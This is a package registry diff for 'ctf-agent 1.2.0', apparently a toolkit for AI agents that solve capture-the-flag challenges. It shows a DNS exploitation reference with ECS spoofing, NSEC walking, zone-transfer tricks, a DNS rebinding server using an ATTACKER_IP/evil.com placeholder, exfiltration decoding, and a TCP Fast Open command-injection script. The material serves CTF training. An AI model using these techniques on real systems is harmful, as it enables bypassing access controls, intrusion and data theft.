ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,255 @@
|
|
|
1
|
+
# CTF Misc - DNS Exploitation Techniques
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [EDNS Client Subnet (ECS) Spoofing](#edns-client-subnet-ecs-spoofing)
|
|
5
|
+
- [DNSSEC NSEC Walking](#dnssec-nsec-walking)
|
|
6
|
+
- [Incremental Zone Transfer (IXFR)](#incremental-zone-transfer-ixfr)
|
|
7
|
+
- [DNS Rebinding](#dns-rebinding)
|
|
8
|
+
- [DNS Tunneling / Exfiltration](#dns-tunneling--exfiltration)
|
|
9
|
+
- [DNS Enumeration Quick Reference](#dns-enumeration-quick-reference)
|
|
10
|
+
- [DNS Round-Robin A Record Enumeration (EKOPARTY 2017)](#dns-round-robin-a-record-enumeration-ekoparty-2017)
|
|
11
|
+
- [DNS Maze Traversal (hxp CTF 2017)](#dns-maze-traversal-hxp-ctf-2017)
|
|
12
|
+
- [TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)](#tcp-fast-open-syn-payload-command-injection-insomnihack-2019)
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## EDNS Client Subnet (ECS) Spoofing
|
|
17
|
+
**Pattern (DragoNflieS, Nullcon 2026):** DNS server returns different records based on client IP. Spoof source using ECS option.
|
|
18
|
+
|
|
19
|
+
```bash
|
|
20
|
+
# dig with ECS option
|
|
21
|
+
dig @52.59.124.14 -p 5053 flag.example.com TXT +subnet=10.13.37.1/24
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
```python
|
|
25
|
+
import dns.edns, dns.query, dns.message
|
|
26
|
+
|
|
27
|
+
q = dns.message.make_query("flag.example.com", "TXT", use_edns=True)
|
|
28
|
+
ecs = dns.edns.ECSOption("10.13.37.1", 24, 0) # Internal network subnet
|
|
29
|
+
q.use_edns(0, 0, 8192, options=[ecs])
|
|
30
|
+
r = dns.query.udp(q, "target_ip", port=5053, timeout=1.5)
|
|
31
|
+
for rrset in r.answer:
|
|
32
|
+
for rd in rrset:
|
|
33
|
+
print(b"".join(rd.strings).decode())
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
**Key insight:** Try leet-speak subnets like `10.13.37.0/24` (1337), common internal ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).
|
|
37
|
+
|
|
38
|
+
## DNSSEC NSEC Walking
|
|
39
|
+
**Pattern (DiNoS, Nullcon 2026):** NSEC records in DNSSEC zones reveal all domain names by chaining to the next name.
|
|
40
|
+
|
|
41
|
+
```python
|
|
42
|
+
import subprocess, re
|
|
43
|
+
|
|
44
|
+
def walk_nsec(server, port, base_domain):
|
|
45
|
+
"""Walk NSEC chain to enumerate entire zone."""
|
|
46
|
+
current = base_domain
|
|
47
|
+
visited = set()
|
|
48
|
+
records = []
|
|
49
|
+
while current not in visited:
|
|
50
|
+
visited.add(current)
|
|
51
|
+
out = subprocess.check_output(
|
|
52
|
+
["dig", f"@{server}", "-p", str(port), "ANY", current, "+dnssec"],
|
|
53
|
+
text=True)
|
|
54
|
+
# Extract TXT records
|
|
55
|
+
for m in re.finditer(r'TXT\s+"([^"]*)"', out):
|
|
56
|
+
records.append((current, m.group(1)))
|
|
57
|
+
# Follow NSEC chain
|
|
58
|
+
m = re.search(r'NSEC\s+(\S+)', out)
|
|
59
|
+
if m:
|
|
60
|
+
current = m.group(1).rstrip('.')
|
|
61
|
+
else:
|
|
62
|
+
break
|
|
63
|
+
return records
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
## Incremental Zone Transfer (IXFR)
|
|
67
|
+
**Pattern (Zoney, Nullcon 2026):** When AXFR is blocked, IXFR from old serial reveals zone update history including deleted records.
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# AXFR blocked? Try IXFR from serial 0
|
|
71
|
+
dig @server -p 5054 flag.example.com IXFR=0
|
|
72
|
+
# Look for historical TXT records in the diff output
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
**IXFR output format:** The diff shows pairs of SOA records bracketing additions/deletions. Records between the old SOA and new SOA were removed; records after new SOA were added. Deleted TXT records often contain flag fragments.
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## DNS Rebinding
|
|
80
|
+
|
|
81
|
+
**Pattern:** Bypass same-origin or IP-based access controls by making a DNS name resolve to different IPs over time.
|
|
82
|
+
|
|
83
|
+
**How it works:**
|
|
84
|
+
1. Attacker controls DNS for `evil.com` with very low TTL (e.g., 1 second)
|
|
85
|
+
2. First resolution: `evil.com` -> attacker's IP (serves malicious JS)
|
|
86
|
+
3. Second resolution: `evil.com` -> `127.0.0.1` (or internal IP)
|
|
87
|
+
4. Browser's same-origin policy allows JS on `evil.com` to access the new IP
|
|
88
|
+
|
|
89
|
+
```python
|
|
90
|
+
# Simple DNS rebinding server (Python + dnslib)
|
|
91
|
+
from dnslib import DNSRecord, RR, A
|
|
92
|
+
from dnslib.server import DNSServer, BaseResolver
|
|
93
|
+
|
|
94
|
+
class RebindResolver(BaseResolver):
|
|
95
|
+
def __init__(self):
|
|
96
|
+
self.count = {}
|
|
97
|
+
|
|
98
|
+
def resolve(self, request, handler):
|
|
99
|
+
qname = str(request.q.qname)
|
|
100
|
+
self.count[qname] = self.count.get(qname, 0) + 1
|
|
101
|
+
reply = request.reply()
|
|
102
|
+
|
|
103
|
+
if self.count[qname] % 2 == 1:
|
|
104
|
+
reply.add_answer(RR(qname, rdata=A("ATTACKER_IP"), ttl=1))
|
|
105
|
+
else:
|
|
106
|
+
reply.add_answer(RR(qname, rdata=A("127.0.0.1"), ttl=1))
|
|
107
|
+
return reply
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
**Tools:** [rbndr.us](http://rbndr.us/) for quick rebinding without custom DNS, [singularity](https://github.com/nccgroup/singularity) for automated attacks.
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## DNS Tunneling / Exfiltration
|
|
115
|
+
|
|
116
|
+
**Pattern:** Data exfiltrated via DNS queries (subdomains) or responses (TXT records).
|
|
117
|
+
|
|
118
|
+
**Detection in PCAPs:**
|
|
119
|
+
```bash
|
|
120
|
+
# Extract DNS queries from pcap
|
|
121
|
+
tshark -r capture.pcap -Y "dns.qry.type == 1" \
|
|
122
|
+
-T fields -e dns.qry.name | sort -u
|
|
123
|
+
|
|
124
|
+
# Look for encoded subdomains (hex, base32, base64url)
|
|
125
|
+
tshark -r capture.pcap -Y "dns.qry.name contains '.evil.com'" \
|
|
126
|
+
-T fields -e dns.qry.name
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Decoding exfiltrated data:**
|
|
130
|
+
```python
|
|
131
|
+
import base64
|
|
132
|
+
|
|
133
|
+
# Subdomain-based exfil: data.chunk1.evil.com, data.chunk2.evil.com
|
|
134
|
+
queries = [...] # extracted DNS query names
|
|
135
|
+
chunks = [q.split('.')[0] for q in queries if q.endswith('.evil.com')]
|
|
136
|
+
decoded = base64.b32decode(''.join(chunks).upper() + '====')
|
|
137
|
+
print(decoded)
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
**DNS-based C2 in PCAPs:**
|
|
141
|
+
```bash
|
|
142
|
+
tshark -r capture.pcap -Y "dns.qry.type == 16" \
|
|
143
|
+
-T fields -e dns.qry.name -e dns.txt
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## DNS Round-Robin A Record Enumeration (EKOPARTY 2017)
|
|
149
|
+
|
|
150
|
+
**Pattern:** Domain configured with many rotating A records pointing to different backend IPs. Only some serve the relevant HTTP content. Query repeatedly to collect all IPs, then scan and make direct virtual-host requests.
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
# Get all A records (query multiple times for round-robin)
|
|
154
|
+
for i in $(seq 1 100); do dig +short target.com A; done | sort -u > ips.txt
|
|
155
|
+
|
|
156
|
+
# Scan each IP for open port 80 and request with correct Host header
|
|
157
|
+
while read ip; do
|
|
158
|
+
response=$(curl -s -m 3 -H "Host: target.com" "http://$ip/")
|
|
159
|
+
if echo "$response" | grep -q "flag"; then
|
|
160
|
+
echo "Found on $ip"
|
|
161
|
+
echo "$response"
|
|
162
|
+
fi
|
|
163
|
+
done < ips.txt
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
**Key insight:** DNS round-robin with heterogeneous backends can hide content across many IPs. A single DNS query may not return all records — query repeatedly (50-100 times) and deduplicate to exhaust the record set. Then make direct virtual-host requests (`-H "Host: target.com"`) to each IP for complete coverage.
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## DNS Maze Traversal (hxp CTF 2017)
|
|
171
|
+
|
|
172
|
+
A maze encoded as DNS records: each UUID subdomain is a position, `dig -t txt` gives hints, CNAME records for directional subdomains give neighboring positions:
|
|
173
|
+
|
|
174
|
+
```python
|
|
175
|
+
import dns.resolver
|
|
176
|
+
def get_neighbors(uuid, domain):
|
|
177
|
+
neighbors = {}
|
|
178
|
+
for direction in ['up', 'down', 'left', 'right']:
|
|
179
|
+
try:
|
|
180
|
+
answer = dns.resolver.resolve(f'{direction}.{uuid}.{domain}', 'CNAME')
|
|
181
|
+
neighbors[direction] = str(answer[0]).split('.')[0]
|
|
182
|
+
except: pass
|
|
183
|
+
return neighbors
|
|
184
|
+
|
|
185
|
+
# BFS to find exit
|
|
186
|
+
from collections import deque
|
|
187
|
+
queue = deque([(start_uuid, [start_uuid])])
|
|
188
|
+
visited = {start_uuid}
|
|
189
|
+
while queue:
|
|
190
|
+
current, path = queue.popleft()
|
|
191
|
+
txt = dns.resolver.resolve(f'{current}.{domain}', 'TXT')
|
|
192
|
+
if 'flag' in str(txt[0]):
|
|
193
|
+
print(f"Found flag at {current}: {txt[0]}")
|
|
194
|
+
break
|
|
195
|
+
for direction, next_uuid in get_neighbors(current, domain).items():
|
|
196
|
+
if next_uuid not in visited:
|
|
197
|
+
visited.add(next_uuid)
|
|
198
|
+
queue.append((next_uuid, path + [next_uuid]))
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
**Key insight:** DNS records can encode arbitrary graph structures. Each node is a subdomain (UUID), edges are CNAME records at directional subdomains (up/down/left/right.UUID.domain), and node data is in TXT records. Standard graph search (BFS/DFS) solves these. Cache aggressively — DNS round-trip times dominate runtime. Use `dns.resolver` (dnspython) rather than subprocess `dig` calls for performance.
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## DNS Enumeration Quick Reference
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Standard zone transfer attempt
|
|
209
|
+
dig @ns.target.com target.com AXFR
|
|
210
|
+
|
|
211
|
+
# Brute-force subdomains
|
|
212
|
+
for sub in $(cat wordlist.txt); do
|
|
213
|
+
dig +short "$sub.target.com" && echo "$sub"
|
|
214
|
+
done
|
|
215
|
+
|
|
216
|
+
# Reverse DNS sweep
|
|
217
|
+
for i in $(seq 1 254); do
|
|
218
|
+
dig +short -x 10.0.0.$i
|
|
219
|
+
done
|
|
220
|
+
|
|
221
|
+
# Check for wildcard DNS
|
|
222
|
+
dig randomnonexistent.target.com
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)
|
|
228
|
+
|
|
229
|
+
**Pattern:** A service uses TCP Fast Open (RFC 7413) and processes up to ~1460 bytes of *data carried in the initial SYN packet*, before the three-way handshake completes. If the handler passes those bytes to a command interpreter, you can invoke commands without ever establishing a full connection — ports that appear closed/filtered to standard TCP scans respond only to SYN+data. A common CTF hint for this technique is any mention of "RFC 741x", "fast open", or "knock with data".
|
|
230
|
+
|
|
231
|
+
```python
|
|
232
|
+
# Linux kernel: enable client-side TFO: sysctl -w net.ipv4.tcp_fastopen=5
|
|
233
|
+
# Python sockets support TFO via MSG_FASTOPEN on the first sendto().
|
|
234
|
+
import socket
|
|
235
|
+
MSG_FASTOPEN = 0x20000000
|
|
236
|
+
|
|
237
|
+
def tfo_send(host, port, payload: bytes, timeout=3.0):
|
|
238
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
239
|
+
s.settimeout(timeout)
|
|
240
|
+
s.sendto(payload, MSG_FASTOPEN, (host, port))
|
|
241
|
+
try:
|
|
242
|
+
return s.recv(65536)
|
|
243
|
+
finally:
|
|
244
|
+
s.close()
|
|
245
|
+
|
|
246
|
+
# Scapy variant: raw SYN with payload (no kernel TFO cookie needed for testing)
|
|
247
|
+
# from scapy.all import IP, TCP, send
|
|
248
|
+
# send(IP(dst=host)/TCP(dport=port, flags='S', seq=1)/b'SyN ls -la')
|
|
249
|
+
|
|
250
|
+
print(tfo_send('10.13.37.99', 3737, b'SyN cat ./secret/me/not/flag.txt'))
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
**Key insight:** Classic port scans (`nmap -sS`, `nc -vz`) don't carry SYN data, so TFO-only services look silent. When a challenge hints at RFC 7413 or "knock with data", send the payload *inside* the SYN (either via `MSG_FASTOPEN` or a crafted Scapy packet) and watch for a response. The prefix ("SyN" here) is often the service's auth token since it's visible in the first 3-4 bytes of any sniffed SYN.
|
|
254
|
+
|
|
255
|
+
**References:** Insomnihack 2019 — Net1, writeups 13988, 13989, 13990
|